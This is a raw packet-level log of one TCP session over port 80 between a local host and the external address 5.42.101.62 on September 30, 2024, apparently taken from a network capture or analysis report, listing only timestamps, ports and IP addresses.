Sep 30, 2024 12:22:36.719543934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719563961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719590902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719599009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719633102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719644070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719681978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719682932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719717979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719726086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719750881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719759941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719784021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719798088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719818115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719826937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719851017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719861984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719883919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719896078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719917059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719928026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719949961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719959021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.719985008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.719994068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720020056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720029116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720052958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720065117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720087051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720097065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720120907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720133066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720155001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720164061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720189095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720201969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720222950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720233917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720257044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720267057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720289946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720300913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720325947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720335960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720359087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720370054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720391989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720402002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720426083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720437050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720460892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720474005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720494986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720510960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720545053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720555067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720587969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720597982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720619917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720633984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720653057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720666885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720698118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720710039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720752954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720762014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720793962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720808029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720828056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720834970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720860958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720873117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720895052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720905066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720927954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720941067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720962048 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.720976114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.720999002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721029997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721031904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721049070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721065044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721075058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721105099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721110106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721141100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721153021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721175909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721185923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721210003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721221924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721244097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721255064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721278906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721288919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721312046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721313953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721344948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721355915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721379042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721388102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721412897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721424103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721446991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721463919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721479893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721489906 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721513987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721525908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721548080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721560001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721580982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721592903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721615076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.721626043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.721657991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763468981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763525963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763557911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763577938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763582945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763629913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763638020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763670921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763684034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763705969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763714075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763740063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763748884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763773918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.763786077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.763823032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804186106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804236889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804249048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804282904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804291964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804331064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804335117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804379940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804383039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804428101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804436922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804471970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804487944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804508924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804517984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804558039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804881096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804936886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804939985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.804986954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.804994106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805027008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805036068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805078030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805079937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805114031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805126905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805160999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805165052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805227995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805231094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805264950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805277109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805298090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805314064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805331945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805347919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805378914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805386066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805435896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805437088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805473089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805486917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805521965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805526018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805560112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805578947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805593014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805602074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805625916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805635929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805660009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805675983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805699110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805706978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805732965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805749893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805783987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805790901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805825949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805834055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805871964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805879116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805913925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.805932045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805955887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.805968046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806015015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806020021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806055069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806065083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806087017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806104898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806119919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806128979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806164026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806173086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806205988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806222916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806238890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806257010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806288004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806291103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806324005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806340933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806361914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806372881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806400061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806421041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806430101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806443930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806463957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806473017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806510925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806516886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806550980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806567907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806585073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806602001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806618929 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806633949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806653023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806668997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806684971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806695938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806719065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806731939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806752920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806761980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806785107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806787014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806818962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806837082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806852102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806869030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806905031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806905031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806940079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806955099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.806972980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.806989908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807007074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807017088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807040930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807055950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807076931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807090044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807111025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807127953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807145119 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807153940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807178974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807184935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807213068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807223082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807248116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807261944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807295084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807301044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807332993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807353973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807367086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807380915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807410955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807415962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807463884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807467937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807502031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807517052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807535887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807548046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807569981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807579994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807611942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807621002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807655096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807672977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807699919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807703018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807735920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807750940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807770014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807785034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807804108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807821035 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807837963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807852983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807873011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807888031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807904959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807921886 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807940960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807949066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.807974100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.807980061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808010101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808023930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808039904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808058023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808073044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808080912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808108091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808121920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808140993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808146954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808172941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808186054 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808204889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808219910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808238983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808253050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808271885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808284044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808306932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808317900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808342934 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:36.808351994 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:36.808377028 CEST	80	52534	5.42.101.62	192.168.2.4
